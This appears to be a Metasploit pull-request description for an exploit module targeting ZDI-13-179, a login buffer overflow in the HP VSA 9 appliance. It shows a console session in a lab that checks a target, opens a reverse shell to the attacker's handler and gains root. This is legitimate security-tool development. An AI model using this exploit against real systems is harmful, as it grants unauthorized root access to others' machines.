Add module for ZDI-13-179

Tested on HP VSA 9 Virtual Appliance

```
msf > use exploit/linux/misc/hp_vsa_login_bof 
msf exploit(hp_vsa_login_bof) > set rhost 192.168.172.181
rhost => 192.168.172.181
msf exploit(hp_vsa_login_bof) > check

[*] 192.168.172.181:13838 Sending login packet to check...
[+] The target is vulnerable.
msf exploit(hp_vsa_login_bof) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.181:13838 Sending login packet
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.181:60433) at 2013-08-10 18:45:26 -0500

id
uid=0(root) gid=0(root)

```